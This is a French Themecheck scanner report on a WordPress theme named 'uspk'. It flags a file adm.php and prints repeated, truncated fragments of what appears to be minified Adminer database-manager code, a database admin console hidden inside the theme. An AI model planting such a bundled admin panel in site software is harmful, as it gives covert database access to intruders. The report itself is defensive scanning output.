0
Résultats de validation

uspk

uspk

WordPress 6.7 theme
0
  • TYPE DE THèMEThème WordPress %s 6.7
  • NOM DU FICHIERuspk.zip
  • TAILLE DU FICHIER33510975 octets
  • MD5eb57cbc44971c77e4a19e1b9d4ff92ab
  • SHA15b52900a2054d70983dd15b93173151f5a3adfcd
  • LICENCEAucun
  • FICHIERS INCLUSCSS, PHP, XML, Bitmap images, Adobe Illustrator
  • VERSION1.0
  • TAGSfixed-width, one-column, valid HTML5, valid XHTML, widgets
  • DATE DE CRéATION2020-11-21
  • DERNIèRE MISE à JOUR DU FICHIER2020-11-21
  • DERNIèRE VALIDATION2020-11-21 06:49
Ce thème n'est peut être pas libre. Themecheck ne distribue pas de thèmes commerciaux.
Alertes critiques
  1. Title : Title Absence de référence à add_theme_support( "title-tag" ) dans le thème.Le thème doit avoir des tags <title>, idéalement dans le fichier header.php.Le thème doit comporter un appel à wp_title(), idéalement dans le fichier header.php.Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.Les tags <title> ne peuvent contenir qu'un appe à wp_title(). wp_title filter soit être utilisée pour modifier la sortie.
  2. Failles de sécurité : Modification des paramètres du serveur PHP ini_set trouvé dans le fichier adm.php. 159: ';}global$b,$h,$Xb,$fc,$pc,$n,$Uc,$Zc,$ba,$ud,$w,$ca,$Pd,$Ne,$uf,$Lg,$dd,$T,$vh,$Bh,$Ih,$ia;if(!$_SERVER['REQUEST_URI'])$_SERVER['REQUEST_URI']=$_SERVER['ORIG_PATH_INFO'];if(!strpos($_SERVER['REQUEST_URI'],'?')&&$_SERVER['QUERY_STRING']!='')$_SERVER['REQUEST_URI'].='?$_SERVER[QUERY_STRING]';$ba=$_SERVER['HTTPS']&&strcasecmp($_SERVER['HTTPS'],'off');@ini_set('session.use_trans_sid',false);session_cache_limiter('');if(!define1023: as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/\n$H',$rg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~'1111: rootQuery($rf,$wb=array(),$se='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($rf,1490: Min_Driver($h);if(!is_object($h)||!$b->login($_GET['username'],get_password()))auth_error((is_string($h)?$h:lang(81)));if($Ka&&$_POST['token'])$_POST['token']=$T;$n='';if($_POST){if(!verify_token()){$td='max_input_vars';$ke=ini_get($td);if(extension_loaded('suhosin')){foreach(array('suhosin.request.max_vars','suhosin.post.max_vars')as$x){$X=ini_get($x);if($X&&(!$ke||$X<$ke)){$td=$x;$ke=$X;}}}$n=(!$_POST['token']&&$ke?lang(82,''$td''):lang(74).' '.lang(83));}}elseif($_SERVER['REQUEST_METHOD']=='POST'){$n=lang(84,''post_max_size'');if(isset($_GET['sql']))$n.=' '.lang(85);}if(!ini_bool('session.use_cookies')||@ini_set('session.use_cookies',false)!==false)session_write_close();function1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sql.gz'),'rb');$H=($Sc?fread($Sc,1e6):false);}else$H=get_file('sql_file',true);if(is_string($H)){if(function_exists('memory_get_usage'))@ini_set('memory_limit',max(ini_bytes('memory_limit'),2*strlen($H)+memory_ge
  3. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier adm.php. 946: _processValue($ic){return(is_object($ic)&&$ic['encoding']=='base64'?base64_decode($ic):(string)$ic);}function1486: as$x=>$X){list(,$hb)=explode(':',$X);list($Vh,$N,$V,$m)=array_map('base64_decode',explode('-',$x));set_password($Vh,$N,$V,decrypt_string(base61488: as$x=>$X){list($Vh,$N,$V,$m)=array_map('base64_decode',explode('-',$x));if($Vh==DRIVER&&$N==SERVER&&$V==$_GET['user
  4. Failles de sécurité : Utilisation de base64_encode() base64_encode trouvé dans le fichier adm.php.
     as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/
     as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir().'/adminer.invalid'));$yd=$zd[$b->bruteForceKey()];$Ce=($yd[1]>30?$yd[0]-time():0);if($Ce>0)auth_error(lang(73,ceil($Ce/60)));session_regenerate_id();$Vh=$Ka['driver'];$N=$Ka['server'];$V=$Ka['username'];$G=(string)$Ka['password'];$m=$Ka['db'];set_password($Vh,$N,$V,$G);$_SESSION['db'][$Vh][$N][$V][$m]=true;if($Ka['permanent']){$x=base64_encode($Vh).'-'.base64_encode($N).'-'.base64_encode($V).'-'.base64_e
  5. Fichiers indésirables : fichiers ou dossiers cachés .listing .jpg a été trouvé.
  6. Code malveillant : Opérations sur système de fichiers file_get_contents trouvé dans le fichier adm.php. 92: as$x=>$X)$Hc[$x]=(array)$X;$J='';foreach($Hc['error']as$x=>$n){if($n)return$n;$C=$Hc['name'][$x];$qh=$Hc['tmp_name'][$x];$wb=file_get_contents($Kb&&preg_match('~\\.gz$~',$C)?'compress.zlib://$qh':$qh)129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmo1023: as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/\n$H',$rg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~',$hd)?$hd:'http://$hd'),false,s1111: rootQuery($rf,$wb=array(),$se='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($rf,'/'),false,stream_context_creat1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir().'/adminer.invalid'));$yd=$zd[$b->bruteForcfile_get_contents trouvé dans le fichier adm.php. 92: as$x=>$X)$Hc[$x]=(array)$X;$J='';foreach($Hc['error']as$x=>$n){if($n)return$n;$C=$Hc['name'][$x];$qh=$Hc['tmp_name'][$x];$wb=file_get_contents($Kb&&preg_match('~\\.gz$~',$C)?'compress.zlib://$qh':$qh)129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmo1023: as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/\n$H',$rg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~',$hd)?$hd:'http://$hd'),false,s1111: rootQuery($rf,$wb=array(),$se='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($rf,'/'),false,stream_context_creat1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir().'/adminer.invalid'));$yd=$zd[$b->bruteForcfopen trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclo1484: add_invalid_login(){global$b;$Ic=get_temp_dir().'/adminer.invalid';$Sc=@fopen($Ic,'r+');if(!$Sc){$Sc=@fopen($Ic,'w');if(!$Sc)return;}flock($Sc,LOCK1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sqfwrite trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}1550: write($xb){$this->size+=strlen($xb);fwrite($this->handler,$xb);}functionfclose trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(1551: send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$pc=''(?:''|[^'\\\\]|\\\\.)*'';$ud='IN|OUT|INOUT';file_get_contents trouvé dans le fichier adm.php. 92: as$x=>$X)$Hc[$x]=(array)$X;$J='';foreach($Hc['error']as$x=>$n){if($n)return$n;$C=$Hc['name'][$x];$qh=$Hc['tmp_name'][$x];$wb=file_get_contents($Kb&&preg_match('~\\.gz$~',$C)?'compress.zlib://$qh':$qh)129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmo1023: as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/\n$H',$rg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~',$hd)?$hd:'http://$hd'),false,s1111: rootQuery($rf,$wb=array(),$se='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($rf,'/'),false,stream_context_creat1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir().'/adminer.invalid'));$yd=$zd[$b->bruteForcfile_get_contents trouvé dans le fichier adm.php. 92: as$x=>$X)$Hc[$x]=(array)$X;$J='';foreach($Hc['error']as$x=>$n){if($n)return$n;$C=$Hc['name'][$x];$qh=$Hc['tmp_name'][$x];$wb=file_get_contents($Kb&&preg_match('~\\.gz$~',$C)?'compress.zlib://$qh':$qh)129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmo1023: as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/\n$H',$rg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~',$hd)?$hd:'http://$hd'),false,s1111: rootQuery($rf,$wb=array(),$se='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($rf,'/'),false,stream_context_creat1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir().'/adminer.invalid'));$yd=$zd[$b->bruteForcfopen trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclo1484: add_invalid_login(){global$b;$Ic=get_temp_dir().'/adminer.invalid';$Sc=@fopen($Ic,'r+');if(!$Sc){$Sc=@fopen($Ic,'w');if(!$Sc)return;}flock($Sc,LOCK1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sqfopen trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclo1484: add_invalid_login(){global$b;$Ic=get_temp_dir().'/adminer.invalid';$Sc=@fopen($Ic,'r+');if(!$Sc){$Sc=@fopen($Ic,'w');if(!$Sc)return;}flock($Sc,LOCK1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sqfwrite trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}1550: write($xb){$this->size+=strlen($xb);fwrite($this->handler,$xb);}functionfclose trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(1551: send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$pc=''(?:''|[^'\\\\]|\\\\.)*'';$ud='IN|OUT|INOUT';file_get_contents trouvé dans le fichier adm.php. 92: as$x=>$X)$Hc[$x]=(array)$X;$J='';foreach($Hc['error']as$x=>$n){if($n)return$n;$C=$Hc['name'][$x];$qh=$Hc['tmp_name'][$x];$wb=file_get_contents($Kb&&preg_match('~\\.gz$~',$C)?'compress.zlib://$qh':$qh)129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmo1023: as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.='&Signature='.urlencode(base64_encode(hmac('sha1','POST\n'.preg_replace('~^https?://~','',$hd).'\n/\n$H',$rg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~',$hd)?$hd:'http://$hd'),false,s1111: rootQuery($rf,$wb=array(),$se='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($rf,'/'),false,stream_context_creat1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir().'/adminer.invalid'));$yd=$zd[$b->bruteForcfwrite trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}1550: write($xb){$this->size+=strlen($xb);fwrite($this->handler,$xb);}functionfclose trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function1485: as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$xg=serialize($zd);rewind($Sc);fwrite($Sc,$xg);ftruncate($Sc,strlen($xg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST['auth'];if($Ka){$zd=unserialize(@file_get_contents(1551: send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$pc=''(?:''|[^'\\\\]|\\\\.)*'';$ud='IN|OUT|INOUT';fopen trouvé dans le fichier adm.php. 129: password_file($j){$Ic=get_temp_dir().'/adminer.key';$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,'w');if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclo1484: add_invalid_login(){global$b;$Ic=get_temp_dir().'/adminer.invalid';$Sc=@fopen($Ic,'r+');if(!$Sc){$Sc=@fopen($Ic,'w');if(!$Sc)return;}flock($Sc,LOCK1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sqfread trouvé dans le fichier adm.php. 1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a 